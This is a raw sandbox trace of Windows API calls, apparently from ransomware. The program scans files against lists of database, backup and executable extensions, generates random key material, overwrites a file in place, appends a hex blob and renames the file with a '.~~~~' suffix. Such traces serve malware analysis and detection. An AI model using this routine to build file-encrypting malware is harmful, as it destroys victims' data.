	[0068.881] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".OST") returned 0x0
	[0068.881] lstrlenW (lpString=".dbx") returned 4
	[0068.881] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".dbx") returned 0x0
	[0068.881] lstrlenW (lpString=".DB3") returned 4
	[0068.881] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".DB3") returned 0x0
	[0068.881] lstrlenW (lpString=".DAT") returned 4
	[0068.881] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".DAT") returned 0x0
	[0068.881] lstrlenW (lpString=".VHDX") returned 5
	[0068.881] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".VHDX") returned 0x0
	[0068.881] lstrlenW (lpString=".ndf") returned 4
	[0068.881] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".ndf") returned 0x0
	[0068.881] lstrlenW (lpString=".DB") returned 3
	[0068.881] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".DB") returned 0x0
	[0068.881] lstrlenW (lpString=".sql") returned 4
	[0068.882] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".sql") returned 0x0
	[0068.882] lstrlenW (lpString=".MYD") returned 4
	[0068.882] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".MYD") returned 0x0
	[0068.882] lstrlenW (lpString=".DBT") returned 4
	[0068.882] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".DBT") returned 0x0
	[0068.882] lstrlenW (lpString=".ACCDB") returned 6
	[0068.882] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".ACCDB") returned 0x0
	[0068.882] lstrlenW (lpString=".fdb") returned 4
	[0068.882] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".fdb") returned 0x0
	[0068.882] lstrlenW (lpString=".bak") returned 4
	[0068.882] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".bak") returned 0x0
	[0068.882] lstrlenW (lpString=".myd") returned 4
	[0068.882] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".myd") returned 0x0
	[0068.882] lstrlenW (lpString=".DTXS") returned 5
	[0068.882] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".DTXS") returned 0x0
	[0068.882] lstrlenW (lpString=".ckp") returned 4
	[0068.882] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".ckp") returned 0x0
	[0068.882] lstrlenW (lpString=".dbt") returned 4
	[0068.882] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".dbt") returned 0x0
	[0068.883] lstrlenW (lpString=".db") returned 3
	[0068.883] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".db") returned 0x0
	[0068.883] lstrlenW (lpString=".TXT") returned 4
	[0068.883] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".TXT") returned 0x0
	[0068.883] lstrlenW (lpString=".MDF") returned 4
	[0068.883] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".MDF") returned 0x0
	[0068.883] lstrlenW (lpString=".bdb") returned 4
	[0068.883] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".bdb") returned 0x0
	[0068.883] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0068.883] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0068.883] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x3a7030
	[0068.883] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0068.883] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0068.884] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0068.884] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0068.884] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0068.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0068.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3b24c8
	[0068.885] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=18887465937) returned 1
	[0068.885] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x96027ed0, dwHighDateTime=0x1d60e1e)) 
	[0068.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0068.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0068.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0068.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39dfc0
	[0068.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0068.885] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dfc0 | out: hHeap=0x300000) returned 1
	[0068.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x3a2fa8
	[0068.885] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0068.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f4af0
	[0068.885] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2fa8 | out: hHeap=0x300000) returned 1
	[0068.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0068.885] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4af0 | out: hHeap=0x300000) returned 1
	[0068.885] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0068.885] GetLastError () returned 0x0
	[0068.886] SetLastError (dwErrCode=0x0) 
	[0068.886] GetLastError () returned 0x0
	[0068.886] SetLastError (dwErrCode=0x0) 
	[0068.886] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0068.886] GetLastError () returned 0x0
	[0068.886] SetLastError (dwErrCode=0x0) 
	[0068.886] GetLastError () returned 0x0
	[0068.886] SetLastError (dwErrCode=0x0) 
	[0068.886] GetLastError () returned 0x0
	[0068.886] SetLastError (dwErrCode=0x0) 
	[0068.886] GetLastError () returned 0x0
	[0068.886] SetLastError (dwErrCode=0x0) 
	[0068.886] GetLastError () returned 0x0
	[0068.886] SetLastError (dwErrCode=0x0) 
	[0068.886] GetLastError () returned 0x0
	[0068.886] SetLastError (dwErrCode=0x0) 
	[0068.886] GetLastError () returned 0x0
	[0068.887] SetLastError (dwErrCode=0x0) 
	[0068.887] GetLastError () returned 0x0
	[0068.887] SetLastError (dwErrCode=0x0) 
	[0068.887] GetLastError () returned 0x0
	[0068.887] SetLastError (dwErrCode=0x0) 
	[0068.887] GetLastError () returned 0x0
	[0068.887] SetLastError (dwErrCode=0x0) 
	[0068.887] GetLastError () returned 0x0
	[0068.887] SetLastError (dwErrCode=0x0) 
	[0068.887] GetLastError () returned 0x0
	[0068.887] SetLastError (dwErrCode=0x0) 
	[0068.887] GetLastError () returned 0x0
	[0068.887] SetLastError (dwErrCode=0x0) 
	[0068.887] GetLastError () returned 0x0
	[0068.887] SetLastError (dwErrCode=0x0) 
	[0068.887] GetLastError () returned 0x0
	[0068.887] SetLastError (dwErrCode=0x0) 
	[0068.887] GetLastError () returned 0x0
	[0068.887] SetLastError (dwErrCode=0x0) 
	[0068.887] GetLastError () returned 0x0
	[0068.888] SetLastError (dwErrCode=0x0) 
	[0068.888] GetLastError () returned 0x0
	[0068.888] SetLastError (dwErrCode=0x0) 
	[0068.888] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8008 | out: hHeap=0x300000) returned 1
	[0068.888] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x19000) returned 0x3b56e0
	[0068.888] ReadFile (in: hFile=0x120, lpBuffer=0x3b56e0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b56e0*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0068.930] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0068.930] WriteFile (in: hFile=0x120, lpBuffer=0x3b56e0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b56e0*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0068.932] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56e0 | out: hHeap=0x300000) returned 1
	[0068.933] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0068.933] WriteFile (in: hFile=0x120, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0068.948] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0068.948] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0068.948] CloseHandle (hObject=0x120) returned 1
	[0069.012] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5bd0
	[0069.012] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi.~~~~")) returned 1
	[0069.013] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5bd0 | out: hHeap=0x300000) returned 1
	[0069.013] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0069.013] GetLastError () returned 0x0
	[0069.013] SetLastError (dwErrCode=0x0) 
	[0069.013] GetLastError () returned 0x0
	[0069.013] SetLastError (dwErrCode=0x0) 
	[0069.013] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3623a0 | out: hHeap=0x300000) returned 1
	[0069.013] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3623c0 | out: hHeap=0x300000) returned 1
	[0069.013] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x368ba0 | out: hHeap=0x300000) returned 1
	[0069.013] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b24c8 | out: hHeap=0x300000) returned 1
	[0069.013] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7030 | out: hHeap=0x300000) returned 1
	[0069.013] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6f10 | out: hHeap=0x300000) returned 1
	[0069.013] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6e68 | out: hHeap=0x300000) returned 1
	[0069.013] RtlWakeConditionVariable () returned 0x365f70
	[0069.013] GetCurrentThreadId () returned 0x9f4
	[0069.013] GetCurrentThreadId () returned 0x9f4
	[0069.013] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0069.014] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6fb8 | out: hHeap=0x300000) returned 1
	[0069.014] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dff8 | out: hHeap=0x300000) returned 1
	[0069.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6fb8
	[0069.014] lstrlenW (lpString=".scr") returned 4
	[0069.014] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".scr") returned 0x0
	[0069.014] lstrlenW (lpString=".cmd") returned 4
	[0069.014] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".cmd") returned 0x0
	[0069.014] lstrlenW (lpString=".dll") returned 4
	[0069.014] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".dll") returned 0x0
	[0069.014] lstrlenW (lpString=".bat") returned 4
	[0069.014] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".bat") returned 0x0
	[0069.014] lstrlenW (lpString=".cpl") returned 4
	[0069.014] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".cpl") returned 0x0
	[0069.014] lstrlenW (lpString=".sys") returned 4
	[0069.014] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".sys") returned 0x0
	[0069.014] lstrlenW (lpString=".msc") returned 4
	[0069.014] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".msc") returned 0x0
	[0069.014] lstrlenW (lpString=".com") returned 4
	[0069.014] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".com") returned 0x0
	[0069.015] lstrlenW (lpString=".lnk") returned 4
	[0069.015] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".lnk") returned 0x0
	[0069.015] lstrlenW (lpString=".msp") returned 4
	[0069.015] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".msp") returned 0x0
	[0069.015] lstrlenW (lpString=".pif") returned 4
	[0069.015] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".pif") returned 0x0
	[0069.015] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0069.015] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0069.015] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0069.015] lstrlenW (lpString=".sqb") returned 4
	[0069.015] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".sqb") returned 0x0
	[0069.015] lstrlenW (lpString=".ost") returned 4
	[0069.015] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".ost") returned 0x0
	[0069.015] lstrlenW (lpString=".txt") returned 4
	[0069.015] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".txt") returned 0x0
	[0069.016] lstrlenW (lpString=".mdt") returned 4
	[0069.016] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".mdt") returned 0x0
	[0069.016] lstrlenW (lpString=".BDB") returned 4
	[0069.016] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".BDB") returned 0x0
	[0069.016] lstrlenW (lpString=".eql") returned 4
	[0069.016] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".eql") returned 0x0
	[0069.016] lstrlenW (lpString=".DBF") returned 4
	[0069.016] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".DBF") returned 0x0
	[0069.016] lstrlenW (lpString=".EQL") returned 4
	[0069.016] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".EQL") returned 0x0
	[0069.016] lstrlenW (lpString=".FDB") returned 4
	[0069.016] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".FDB") returned 0x0
	[0069.016] lstrlenW (lpString=".EDB") returned 4
	[0069.016] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".EDB") returned 0x0
	[0069.016] lstrlenW (lpString=".DACPAC") returned 7
	[0069.016] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".DACPAC") returned 0x0
	[0069.017] lstrlenW (lpString=".VHD") returned 4
	[0069.017] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".VHD") returned 0x0
	[0069.017] lstrlenW (lpString=".DBV") returned 4
	[0069.017] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".DBV") returned 0x0
	[0069.017] lstrlenW (lpString=".dacpac") returned 7
	[0069.017] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".dacpac") returned 0x0
	[0069.017] lstrlenW (lpString=".sdf") returned 4
	[0069.017] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".sdf") returned 0x0
	[0069.017] lstrlenW (lpString=".accdb") returned 6
	[0069.017] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".accdb") returned 0x0
	[0069.017] lstrlenW (lpString=".DBX") returned 4
	[0069.017] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".DBX") returned 0x0
	[0069.017] lstrlenW (lpString=".MDT") returned 4
	[0069.017] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".MDT") returned 0x0
	[0069.017] lstrlenW (lpString=".SQB") returned 4
	[0069.018] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".SQB") returned 0x0
	[0069.018] lstrlenW (lpString=".vhd") returned 4
	[0069.018] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".vhd") returned 0x0
	[0069.018] lstrlenW (lpString=".bac") returned 4
	[0069.018] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".bac") returned 0x0
	[0069.018] lstrlenW (lpString=".mdf") returned 4
	[0069.018] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".mdf") returned 0x0
	[0069.018] lstrlenW (lpString=".BAK") returned 4
	[0069.018] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".BAK") returned 0x0
	[0069.018] lstrlenW (lpString=".BAC") returned 4
	[0069.018] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".BAC") returned 0x0
	[0069.018] lstrlenW (lpString=".dbs") returned 4
	[0069.018] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".dbs") returned 0x0
	[0069.018] lstrlenW (lpString=".vhdx") returned 5
	[0069.018] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".vhdx") returned 0x0
	[0069.018] lstrlenW (lpString=".NDF") returned 4
	[0069.018] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".NDF") returned 0x0
	[0069.018] lstrlenW (lpString=".dat") returned 4
	[0069.018] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".dat") returned 0x0
	[0069.018] lstrlenW (lpString=".DBS") returned 4
	[0069.018] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".DBS") returned 0x0
	[0069.019] lstrlenW (lpString=".CKP") returned 4
	[0069.019] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".CKP") returned 0x0
	[0069.019] lstrlenW (lpString=".edb") returned 4
	[0069.019] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".edb") returned 0x0
	[0069.019] lstrlenW (lpString=".PST") returned 4
	[0069.019] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".PST") returned 0x0
	[0069.019] lstrlenW (lpString=".dbf") returned 4
	[0069.019] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".dbf") returned 0x0
	[0069.019] lstrlenW (lpString=".SQL") returned 4
	[0069.019] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".SQL") returned 0x0
	[0069.019] lstrlenW (lpString=".pst") returned 4
	[0069.019] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".pst") returned 0x0
	[0069.019] lstrlenW (lpString=".dbv") returned 4
	[0069.019] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".dbv") returned 0x0
	[0069.019] lstrlenW (lpString=".SDF") returned 4
	[0069.019] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".SDF") returned 0x0
	[0069.019] lstrlenW (lpString=".dtxs") returned 5
	[0069.019] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".dtxs") returned 0x0
	[0069.019] lstrlenW (lpString=".db3") returned 4
	[0069.019] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".db3") returned 0x0
	[0069.019] lstrlenW (lpString=".OST") returned 4
	[0069.019] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".OST") returned 0x0
	[0069.019] lstrlenW (lpString=".dbx") returned 4
	[0069.020] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".dbx") returned 0x0
	[0069.020] lstrlenW (lpString=".DB3") returned 4
	[0069.020] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".DB3") returned 0x0
	[0069.020] lstrlenW (lpString=".DAT") returned 4
	[0069.020] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpSrch=".DAT") returned 0x0
	[0069.020] lstrlenW (lpString=".VHDX") returned 5
